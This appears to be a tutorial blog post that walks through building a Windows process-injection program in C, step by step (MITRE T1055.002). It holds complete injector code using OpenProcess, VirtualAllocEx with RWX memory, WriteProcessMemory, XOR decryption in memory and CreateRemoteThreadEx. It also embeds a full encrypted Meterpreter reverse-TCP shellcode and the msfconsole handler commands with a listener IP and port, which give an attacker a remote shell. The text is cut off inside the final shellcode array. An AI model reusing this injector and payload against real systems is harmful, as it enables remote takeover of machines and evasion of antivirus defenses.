Shellcode Injection

Hussain
20 min readAug 29, 2023

--

Overview

In this post, we will attempt to perform Shellcode Injection into a separate process. This technique is also known as “Portable Executable Injection” in the MITRE ATT&CK Framework. It falls under the category of “Process injection,” which is a method used to evade defenses. This technique is part of the “Defense Evasion” tactic.

Technique: Process Injection — T1055

Process Injection is a technique employed by malicious actors to bypass detection and gain higher privileges. This method entails injecting malicious arbitrary code into an isolated process that operates within a Windows environment and subsequently executing it. For more detailed information, refer to the link provided below:

Sub-Technique: Portable Executable Injection — T1055.002

PE(Portable Executable) injection is performed by copying the code into virtual address sapce of the target process and executing it via a new thread. For more detailed information, refer to the link provided below:

The general steps for this technique to work are as follows:

  1. Obtain the handle of the already running process.
  2. Allocate a buffer in the memory of the process.
  3. Write the shellcode into the buffer.
  4. Invoke a thread to execute the contents that were written into the buffer.

Setup:

  1. Linux environment(Attacker)
  • Metasploit

2. Windows environment(Target)

  • Disabled windows defender
  • MinGW-w64 compiler
  • Process Hacker

Link to download the MinGW Compilers:

Link to download the Process Hacker:

Follow the below tutorial to install and setup the mingw compilers on your windows machine:

Prerequisites:

  1. Basics of Win32 API
  2. Basics of Windows Internals
  3. Familiarity with C/C++

The Requirements might seem daunting but fear not, you just need to know the basics to be able to continue further and understand. For C/C++ programming, just having familiarity with the syntax is enough to understand the concept.

Here are few resources which might help out:

C/C++ Basics:

Windows Internals and Win32 API:

Its enough to get started but you may look for other resources to get a better understanding.

Writing the Program

1. Writing the boilerplate code.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

i("Program is working fine!!")

return 0;
}

This serves as the boilerplate code, showcasing defined macros for printing debugging statements. The main function of the program accepts two command-line arguments for further processing. The <windows.h> header serves us with all the required win32 api functions.

2. Variable Declaration, Shellcode Initialization, and PID Retrieval

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

return 0;

}

First, we declare several variables that will be used in subsequent API function calls. Next, we initialize the shellcode variable with a stream of junk values represented by 'A's, which corresponds to '0x41' in hexadecimal. We will substitute a legitimate shellcode once the program flow is finalized.

At the time of execution, the program should be provided with a PID argument of the process we are targetting. If not provided, it will generate an error along with usage instructions. The PID argument will be parsed and passed it through atoi function which will convert the string into an integer.

3. Getting the Handle of a process.

HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);

This function is used to obtain the handle of a process, allowing access to and manipulation of its resources, including memory and files. Read more about it from the link below:

This function is used to obtain the handle of a process, allowing access to and manipulation of its resources, including memory and files. Read more about it from the link below:

The first argument is where you provide the access rights of the target process to our program. There are various access rights listed, which you can refer to from the link below:

Each access right has its own limitations and defines the scope of access granted to our program. Although it’s not a good practice, for demonstration purposes and to avoid confusion, I will specify PROCESS_ALL_ACCESS as the first argument.

For the second argument, we need to pass a boolean value to indicate whether the returned handle can be inherited by a child process created by our program. Since we don’t have to worry about that for now, we should pass the value as FALSE.

The last argument simply asks for the Process ID, where we can pass the PID variable that we declared at the top.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


return 0;

}

Compile and run the code, providing the PID as an argument of any process that is running under the same user as the program. Please note that we won’t be able to obtain the handle of an elevated process.

gcc -o proc-inject.exe proc-inject.c

4. Allocating the Buffer

After obtaining the handle of the process, the next step is to allocate a buffer or virtual space within the target process for our shellcode. This can be accomplished by calling a function called VirtualAllocEx(), which returns the base address of the allocated buffer.

Read further from the link below:

LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

The first parameter is the handle to the process in which we want to allocate the buffer. We already have the handle returned from the OpenProcess() function. Pass the variable hProcess into this parameter which holds the handle.

The second parameter is optional and requires a pointer to a specified address where we would like to start our allocation. For now, we would like the function to determine the location itself, so pass the value NULL to it.

The next parameter requires the size to allocate for the buffer. We already have a variable named sizeshellcode that holds the size of the shellcode in bytes. Passing that variable will suffice.

The fourth parameter requires the allocation type of the buffer. Since we want to reserve memory for the buffer and then commit it so that we can read/write and execute in physical memory, let’s combine both using (MEM_RESERVE | MEM_COMMIT).

The last parameter comes into play when we are committing the memory and want to enable certain protections on the allocated region. These protections ensure that the region cannot be exploited by other processes or any form of user input. There is a list of memory protection attributes. You can read about them from the link below:

We are going to grant the region PAGE_EXECUTE_READWRITE (RWX) permission, allowing us to both write to and execute our shellcode.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);

return 0;

}

Compile and execute the code.

5. Writing the shellcode in the buffer

After we have allocated memory and obtained the base address of the buffer, the next step is to write our shellcode into that memory. For this purpose, we will use the Win32 API function called WriteProcessMemory(). This function returns a non-zero value upon success and 0 (zero) if it fails. We can use this return value in a conditional statement to determine the success or failure of the function.

Read more about it and its parameters from the link below:

BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);

The first parameter requires the handle of the process we are targeting. The handle is stored in the hProcess variable, which can be passed to it.

The second parameter is a pointer to the base address where the data is to be written. We have already retrieved the address using the VirtualAllocEx function. Pass the AllocBuffer variable into this parameter.

The third parameter is the actual buffer or contents to be written into the memory region. Pass it using the shellcode variable.

The next one requires the size of the actual content. Simply pass in the sizeshellcode variable.

The last parameter stores the number of bytes written to the memory and uses a pointer to the variable we provide. It’s optional, so we can ignore it and pass NULL.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);


/*Write the shellcode into the buffer*/
if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){
e("Unable to write the shellcode");
return 1;
}
s("Wrote Shellcode to the buffer!");


return 0;

}

Compile and execute the code.

6. Decrypting the shellcode in memory

I am planning to write an encrypted shellcode into memory and then decrypt it within memory. I will be using the same shellcode as in my previous post. Refer to that post to gain insight into how I generated and encrypted the shellcode using the link below:

I will be using the XOR algorithm to decrypt my shellcode byte by byte. This involves reading the bytes using the ReadProcessMemory function, decrypting each byte using the specified key, and then writing the decrypted bytes back to the same location.

Read more about it and its parameters from the link below:

char key[] = "veryhardkey";

We will use the same key that was employed in my previous post.

BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);

The first parameter requires the handle of the process in which our shellcode is written. The handle is stored in the hProcess variable, which can be passed to it.

The next parameter is a pointer to the base address of the process from which we want to read. Pass in the AllocBuffer variable, which holds the base address of the memory region that was allocated and written to with the shellcode.

The third parameter is a pointer to the variable or buffer where the read data will be written. We will specify the value of this parameter later.

The fourth parameter is the size of the data to be read in bytes from the base address provided in the second variable. We will also specify the value of this parameter later.

The last parameter is used to store the number of bytes read, and we can simply ignore it by passing NULL.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);


/*Write the shellcode into the buffer*/
if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){
e("Unable to write the shellcode");
return 1;
}
s("Wrote Shellcode to the buffer!");

/*Decrypting the shellcode in memory*/
BYTE value;
char key[] = "veryhardkey";
for (int i = 0; i < sizeshellcode-1; i++){
ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);
i("Byte %d: 0x%x",i,value);

value = (value ^ key[i%11]); // decrypt
WriteProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);
i("New Byte %d: 0x%x\n",i,value);
}

return 0;
}

For decrypting my shellcode in memory, there is a for loop routine that reads each byte from memory and performs a bitwise XOR operation between the byte stored in the variable value (representing a byte of the shellcode) and an element of the key array in a cyclic manner. The resulting values are again written in to the same memory chunk.

Debugging can be facilitated by printing the initial and decrypted values, providing confirmation of the process.

I will make slight changes to my shellcode to demonstrate various possible outputs.

Here is the output of the execution:

C:\Users\target\Desktop\demo-maldev>gcc -o proc-inject.exe proc-inject.c

C:\Users\target\Desktop\demo-maldev>proc-inject.exe 128
[*] Size of shellcode is: 10 bytes

[*] Inserted PID: 128

[*] Trying to get the handle of the Procees:
[+] Got the Handle of the process: 128
[*] Processes Handle: 0x0000000000000098

[*] Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x0000000000000098
[+] Succesfully Aloocated the buffer into the Virtual space of the process
[*] Address: 68b90000

[+] Wrote Shellcode to the buffer!
[*] Byte 0: 0x41
[*] New Byte 0: 0x37

[*] Byte 1: 0x42
[*] New Byte 1: 0x27

[*] Byte 2: 0x43
[*] New Byte 2: 0x31

[*] Byte 3: 0x44
[*] New Byte 3: 0x3d

[*] Byte 4: 0x45
[*] New Byte 4: 0x2d

[*] Byte 5: 0x46
[*] New Byte 5: 0x27

[*] Byte 6: 0x47
[*] New Byte 6: 0x35

[*] Byte 7: 0x48
[*] New Byte 7: 0x2c

[*] Byte 8: 0x49
[*] New Byte 8: 0x22


C:\Users\target\Desktop\demo-maldev>

We can even visualize these values by going through the memory segment of the process using Process Hacker.

7. Creating a thread

Now, the final crucial component for shellcode injection is to invoke a thread that executes the contents written in the buffer. This can be achieved using the CreateRemoteThread() function. If successful, this function will return the handle of the created thread.

Read more about it and its parameters from the link below:

HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);

The first parameter once again requires the process handle as an argument. Pass in the hProcess variable for this purpose.

For the second parameter, pass NULL to obtain the default security descriptor (SD) for the new thread.

Regarding the third parameter, provide a value of 0 to let the thread use the default size for executables.

The fourth parameter requires the starting address that the thread will execute. However, it must be provided in the LPTHREAD_START_ROUTINE type. To align with the function's signature, you can perform a type cast, passing (LPTHREAD_START_ROUTINE)AllocBuffer.

As for the next parameter, simply pass NULL since no parameters need to be sent to the function.

For the fifth parameter, provide 0 to indicate that the thread should begin executing immediately.

Lastly, the final parameter is a pointer to the variable that will store the thread ID. Supply the TID variable, which was declared at the beginning of the program.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);


/*Write the shellcode into the buffer*/
if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){
e("Unable to write the shellcode");
return 1;
}
s("Wrote Shellcode to the buffer!");

/*Decrypting the shellcode in memory*/
BYTE value;
char key[] = "veryhardkey";
for (int i = 0; i < sizeshellcode-1; i++){
ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

value = (value ^ key[i%11]); // decrypt
WriteProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);
}

/*Creating a thread to execute the shellcode*/
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &TID);

i("Thread invoked!")
i("Thread Handle: 0x%p", hThread);
i("Thread ID: %d", TID);

return 0;
}

We can remove the byte change debugging statements for now to make the code cleaner.

After executing the code, we will notice that the target process will crash because the shellcode provided isn’t valid.

8. Getting a Reverse Shell

Now, let’s shift to a more serious phase by including the actual shellcode that will be executed. This will ultimately provide the attacker with remote access to our machine.

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac";
int sizeshellcode = sizeof(shellcode);
i("Size of shellcode is: %zd bytes\n",sizeshellcode);


if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d", PID);
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer");
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %x\n", AllocBuffer);


/*Write the shellcode into the buffer*/
if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){
e("Unable to write the shellcode");
return 1;
}
s("Wrote Shellcode to the buffer!");

/*Decrypting the shellcode in memory*/
BYTE value;
char key[] = "veryhardkey";
for (int i = 0; i < sizeshellcode-1; i++){
ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

value = (value ^ key[i%11]); // decrypt
WriteProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);

ReadProcessMemory(hProcess, AllocBuffer+i, &value, sizeof(value), NULL);
}

/*Creating a thread to execute the shellcode*/
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &TID);

i("Thread invoked!");
i("Thread Handle: 0x%p", hThread);
i("Thread ID: %d", TID);

return 0;
}

Setup the listener on msfconsole.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.100.167
set lport 4443
exploit

Bytes written in memory:

Thread ID:

9. Cleaning up and closing handles

During execution, you can utilize the WaitForSingleObject function, which enables a program to await a particular object (like a thread, process, or synchronization object) to enter a signaled state.

For this purpose, provide the hThread parameter as the object handle and INFINITE for the timeout interval, indicating that the function should wait until the object becomes signaled.

Once the thread closes and signals the function, you can perform cleanup by closing both handles using CloseHandle() to eliminate any unnecessary resources.

Raed more about these functions below:

#include <stdio.h>
#include <windows.h>

#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

/*Initializing Shellcode and its szie*/
unsigned char shellcode[] = "\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\